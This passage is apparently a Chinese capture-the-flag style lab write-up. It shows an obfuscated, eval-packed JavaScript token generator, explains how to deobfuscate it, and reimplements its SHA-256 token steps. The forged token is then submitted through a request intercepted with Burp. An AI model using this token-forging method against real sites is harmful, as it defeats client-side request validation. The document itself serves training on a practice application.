h0|h7|h2|h3|key|h6|h5|h4||bytes|index|Sha256|new|method|prototype|0x80|update|type|SHIFT|0x3f|length|exports|root|ArrayBuffer|||||||||||s0|s1|typeof|true|hex|t2|for|ch|dataView|maj|64|ERROR|document|object|getElementById|setUint32|sha256|value|finalize|Error|throw|sharedMemory|buffer|obj|ARRAY_BUFFER|Array|start|ab|block|bc|OUTPUT_TYPES|oKeyPad|digest|sha224|call|constructor|isArray|hashed|token|isView|false|HmacSha256|charCodeAt|WINDOW|crypto|create|finalized|cd|hash|outputType|Buffer|da||||0x3ff||||array|||createMethod|arr|inner|process|iKeyPad|createHmacMethod|module|notString|hBytes|first|createHmacOutputMethod|define|createOutputMethod|algorithm|NODE_JS|string|null|Uint8Array|AMD|0xc0|lastByteIndex|0x800|EXTRA|createHash|do_something|nodeMethod|0xd800|token_part_2|0x10000|0xe0|0xe000|phrase|COMMON_JS|4294967296|window|token_part_3|token_part_1|WEB_WORKER|self|require|eval|nodeWrap|versions|arrayBuffer|JS_SHA256_NO_NODE_JS|undefined|toString|hmac|innerHash|0xf0|0xa2bfe8a1|0xc24b8b70||0xa81a664b||0x92722c85|0x81c2c92e|0xc76c51a3|0x53380d13|0x766a0abb|0x4d2c6dfc|0x650a7354|0x748f82ee|0x84c87814|0x78a5636f|0x682e6ff3|0x8cc70208|0x2e1b2138|0xa4506ceb|0x90befffa|0xbef9a3f7|0x5b9cca4f|0x4ed8aa4a|0x106aa070|0xf40e3585|0xd6990624|0x19a4c116|0x1e376c08|0x391c0cb3|0x34b0bcb5|0x2748774c|0xd192e819|0x0fc19dc6|32768|128|8388608|2147483648|split|0x428a2f98|0x71374491|0x59f111f1|0x3956c25b|0xe9b5dba5|0xb5c0fbcf|0123456789abcdef|JS_SHA256_NO_ARRAY_BUFFER|is|invalid|input|strict|use|JS_SHA256_NO_WINDOW|ABCD|amd|JS_SHA256_NO_COMMON_JS|global|node|0x923f82a4|0xab1c5ed5|0x983e5152|0xa831c66d|0x76f988da|0x5cb0a9dc|0x4a7484aa|0xb00327c8|0xbf597fc7|0x14292967|0x06ca6351||0xd5a79147|0xc6e00bf3|0x2de92c6f|0x240ca1cc|0x550c7dc3|0x72be5d74|0x243185be|0x12835b01|0xd807aa98|0x80deb1fe|0x9bdc06a7|0xc67178f2|0xefbe4786|0xe49b69c1|0xc19bf174|0x27b70a85|0x3070dd17|300032|1413257819|150054599|24177077|56|4294967295|0x5be0cd19|while|setTimeout|704751109|210244248|DataView|0x36|0x5c|push|ZZ|Object|143694565|YY|0x1f83d9ab|1521486534|0x367cd507|0xc1059ed8|0xffc00b31|0x68581511|0x64f98fa7|XX|300|0x9b05688c|send|addEventListener|click|utf8|0xbefa4fa4|0xf70e5939|0x510e527f|0xbb67ae85|0x6a09e667|0x3c6ef372|0xa54ff53a|JS_SHA256_NO_ARRAY_BUFFER_IS_VIEW','split'];(function(c,d){var e=function(f){while(--f){c['push'](c['shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};eval(function(d,e,f,g,h,i){h=function(j){return(j<e?'':h(parseInt(j/e)))+((j=j%e)>0x23?String[b('0x0')](j+0x1d):j[b('0x1')](0x24));};if(!''[b('0x2')](/^/,String)){while(f--){i[h(f)]=g[f]||h(f);}g=[function(k){if('wpA'!==b('0x3')){return i[k];}else{while(f--){i[k(f)]=g[f]||k(f);}g=[function(l){return i[l];}];k=function(){return b('0x4');};f=0x1;}}];h=function(){return b('0x4');};f=0x1;};while(f--){if(g[f]){if(b('0x5')===b('0x6')){return i[h];}else{d=d[b('0x2')](new RegExp('\x5cb'+h(f)+'\x5cb','g'),g[f]);}}}return d;}(b('0x7'),0x3e,0x137,b('0x8')[b('0x9')]('|'),0x0,{}));

发现都是加密的,通过站点:http://deobfuscatejavascript.com/#

进行解密,得到关键的信息,前面是一段sha加密算法,可不看,关键之处如下:

修改相关源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
......省略加密代码
function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
var token;
function token_part_3(t, y = "ZZ") {
token = sha256(token + y);
alert('token_part_3_final-----'+token);
}
function token_part_2(e) {
token = sha256(e + token);
alert('token_part_2-----'+token);
}
function token_part_1(a, b) {
token= do_something("success");
alert('token_part_1-----'+token);
}
token_part_1("ABCD", 44);//模拟加载时执行
token_part_2("XX")//模拟过300ms,其实就是页面渲染完成后执行
token_part_3()//模拟提交时执行

实际运行时,需要将前面的加密算法部分也加入

打开页面就可以获得token,并使用bp拦截报文修改相关参数,注入成功。